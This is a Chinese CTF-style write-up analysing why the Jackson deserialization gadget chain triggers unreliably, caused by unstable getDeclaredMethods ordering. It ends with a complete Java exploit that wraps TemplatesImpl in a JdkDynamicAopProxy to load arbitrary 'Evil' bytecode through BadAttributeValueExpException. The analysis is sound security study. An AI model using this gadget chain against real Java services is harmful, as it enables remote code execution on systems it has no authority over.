Jackson链的不稳定问题
写在前面
起因是调上周DASCTF X CBCTF的bypassctf(好久没见到官方WP我真的哭死),这题的第一步是使用Transfer-Encoding: chunked绕过servletRequest.getContentLength长度限制来打Jackson反序列化。
结果第一步就给我卡住了,反序列化执行丢了个报错:com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["stylesheetDOM"])

在漫长的自我怀疑后,仔细看了下poc,发现这里的Jackson链多了一块,给的备注是利用 JdkDynamicAopProxy 进行封装使其稳定触发。刚好出题人上一篇文章就写了这个问题,直接来学一波。
Jackson链分析
先说结论:链子用com.fasterxml.jackson.databind.json.JsonMapper#writeValueAsString调用TemplatesImpl的getter的时候,调用的顺序是不稳定的。这时如果TemplatesImpl中的getStylesheetDOM先于getOutputProperties调用,由于_sdom成员为空,会导致空指针报错,反序列化攻击失败。
之前Jackson链最后的调用部分没有细看,刚好这次自己调下这个过程,我觉得这种练习还是停有必要的。
测试代码
用的是上次一样的代码,改了一点。Message.java
package jj;
import java.io.Serializable;
public class Message implements Serializable {
int code;
String detail;
Object data;
public void setNoname(int code) {
}
public String getNoname() {
System.out.println("getNoname");
return this.detail;
}
public void setCode(int code) {
this.code = code;
}
public void setDetail(String detail) {
this.detail = detail;
}
public void setData(Object data) {
this.data = data;
}
public int getCode() {
System.out.println("getCode");
return this.code;
}
public String getDetail() {
System.out.println("getDetail");
return this.detail;
}
public Object getData() {
System.out.println("getData");
return this.data;
}
public Message(){
}
public Message(int code, String detail) {
this.code = code;
this.detail = detail;
}
public Message(int code, String detail, Object data) {
this.code = code;
this.detail = detail;
this.data = data;
}
}
jacksonTest.java
package jj;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class jacksonTest {
public static void main(String[] args) throws JsonProcessingException {
Message message = new Message();
message.setCode(5199);
ObjectMapper objectMapper = new ObjectMapper();
String s = objectMapper.writeValueAsString(message);
System.out.println("jackon string: " + s);
}
}
writeValueAsString调用分析
在其中的gatter方法中下断点,debug。调用栈如下
getDetail:29, Message (jj)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
main:12, jacksonTest (jj)
com.fasterxml.jackson.databind.ser.BeanPropertyWriter#serializeAsField中反射调用了gatter方法

往上走一层,serializeAsField是在一个循环中被调用,循环的是BeanPropertyWriter对象的数组props

知道这个逻辑后,看下这个_accessorMethod属性是怎么被赋值的。找到这个属性的定义,右键Find Usages在Value write中找。其中赋值不为null的只有四处,在这四个地方下断点。

重新调试,程序停在了BeanPropertyWriter的一个构造方法。调用栈
<init>:235, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
_constructPropertyWriter:261, PropertyBuilder (com.fasterxml.jackson.databind.ser)
buildWriter:230, PropertyBuilder (com.fasterxml.jackson.databind.ser)
_constructWriter:879, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
findBeanProperties:630, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
constructBeanOrAddOnSerializer:401, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
findBeanOrAddOnSerializer:294, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createSerializer2:239, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
createSerializer:173, BeanSerializerFactory (com.fasterxml.jackson.databind.ser)
_createUntypedSerializer:1495, SerializerProvider (com.fasterxml.jackson.databind)
_createAndCacheUntypedSerializer:1443, SerializerProvider (com.fasterxml.jackson.databind)
findValueSerializer:544, SerializerProvider (com.fasterxml.jackson.databind)
findTypedValueSerializer:822, SerializerProvider (com.fasterxml.jackson.databind)
serializeValue:308, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
_writeValueAndClose:4568, ObjectMapper (com.fasterxml.jackson.databind)
writeValueAsString:3821, ObjectMapper (com.fasterxml.jackson.databind)
main:12, jacksonTest (jj)
_accessorMethod是通过一个AnnotatedMember对象的getMember方法获得。

追踪这个member的传递,发现它最初是在com.fasterxml.jackson.databind.ser.BeanSerializerFactory#findBeanOrAddOnSerializer中被赋值。

下面来看properties数组是怎么被赋值的,追踪这个变量不难发现,它的赋值就在这个函数的上面

在这行下个断点,重新调试看看它的逻辑。在com.fasterxml.jackson.databind.introspect.POJOPropertiesCollector#getPropertyMap,由于_collected被设置为true,所以函数直接返回了_properties。

可以猜测第一次_properties的赋值就在collectAll()中。事实上确实如此,从Find Usages中可以看到,_properties的Value wirte只有一处,就是collectAll()

在赋值处下断点,分析函数中的props变量。props是一个POJOPropertyBuilder对象数组,POJOPropertyBuilder继承于BeanPropertyDefinition。从前面知道,之后会调用这个类的getAccessor方法来获取member,而这个getAccessor方法最终会返回POJOPropertyBuilder对象的_getters.value。

collectAll()中先通过_addFields往props填充属性信息,此时的_getters还是null

这些Field通过搜索出来,决定顺序

经过_addMethods为其中的_getters添加内容,同时注意到这里多了一个noname的key,因为在类中我没有noname这个属性,只写了一个getNoname方法,但还是被添加了

getDeclaredMethods获取所有方法将所有getter按顺序添加

所以这个顺序与getDeclaredFields和getDeclaredMethods都有一部分关系。
用Jackson链来调,发现TemplatesImpl的outputProperties和stylesheetDOM的顺序是由getDeclaredMethods决定的。


所以,问题的根源是 getDeclaredMethods 方法获取到的 Method 数组顺序是不确定的。其主要原因是JVM在加载类时,会对方法进行排序,以便快速查找。但这种排序是基于方法名的Symbol对象的地址,而不是字母顺序,因此可能会导致方法的顺序在不同JVM实例或运行时有所不同。参考文章:https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q
而com.fasterxml.jackson.databind.SerializerProvider#findTypedValueSerializer中获取序列化器有缓存机制,在第一次便会创建缓存。所以Payload一旦失败,之后便不再会成功。

解决方案
回顾一下动态代理类
package yso.json.Jackson;
public interface User {
String getRole();
String getUsername();
default String getNothing(){
return null;
};
}
package yso.json.Jackson;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class UserTest {
public static void main(String[] args) {
User realUser = new Admin("adminUser");
User proxyUser = (User) Proxy.newProxyInstance(
User.class.getClassLoader(),
new Class[]{User.class},
new UserProxyHandler(realUser)
);
for(Method m: proxyUser.getClass().getDeclaredMethods()) {
System.out.println(m.getName());
}
}
public static class Admin implements User {
private String username;
private String role;
public Admin(String username) {
this.username = username;
this.role = "Admin";
}
@Override
public String getRole() {
return role;
}
@Override
public String getUsername() {
return username;
}
public String getPassword() {
return null;
}
}
public static class UserProxyHandler implements InvocationHandler {
private final User user;
public UserProxyHandler(User user) {
this.user = user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return null;
}
}
}
对于动态代理类getDeclaredMethods只返回其代理接口的方法。

而TemplatesImpl的接口Templates只有两个方法newTransformer和我们要用的getOutputProperties

所以我们要找一个handler,它的invoke能执行调用的方法。然后用它生成一个TemplatesImpl的动态代理类,来代替原来链子的TemplatesImpl。
这里借鉴的是ysoserial中JSON1链的处理方法,找到的handler是 org.springframework.aop.framework.JdkDynamicAopProxy类,同时这个 Spring AOP 的依赖在SpringBoot 环境下默认是存在的。
JdkDynamicAopProxy实现了 JDK 动态代理机制,用于创建代理对象来实现面向切面编程(AOP)的功能。在它的invoke中调用方法的部分如下

这个advised是一个AdvisedSupport对象,我们用它的setTarget方法设置targetSource属性。setTarget接受一个对象target,然后用target实例化一个SingletonTargetSource对象。在SingletonTargetSource#getTarget将target返回,进而实现了反射调用方法。

最后修改的payload为
package yso.json.Jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.apache.commons.codec.binary.Base64;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Exp {
public static void main(String[] args) throws Exception{
byte[] bytecode = Files.readAllBytes(Paths.get("src/main/java/Evil.class")); // Evil bytecode
byte[][] bytecodes = {bytecode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytecodes);
setValue(templates, "_name", "xx");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 使用JdkDynamicAopProxy稳定调用
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
// 删除 jsonNode 的 writeReplace
try {
ClassPool _pool = ClassPool.getDefault();
CtClass jsonNode = _pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
POJONode node = new POJONode(proxyObj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
String s = serializeToBase64(val);
System.out.println(s);
deserializeFromBase64(s);
}
public static void setValue(Object instance, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = instance.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(instance, value);
}
public static Object deserializeFromBase64(String base64String) throws IOException, ClassNotFoundException {
// byte[] data = Base64.getDecoder().decode(base64String);
byte[] data = Base64.decodeBase64(base64String);
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}
public static String serializeToBase64(Object obj) throws IOException {
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(obj);
oos.flush();
// return Base64.getEncoder().encodeToString(baos.toByteArray());
return org.apache.commons.codec.binary.Base64.encodeBase64String(baos.toByteArray());
}
}
}
再看下这个getDeclaredMethods的顺序。从_addMethods只获得了一个getoutputProperties方法

参考连接
从JSON1链中学习处理JACKSON链的不稳定性
关于java反序列化中jackson链子不稳定问题
JVM源码分析之不保证顺序的Class.getMethods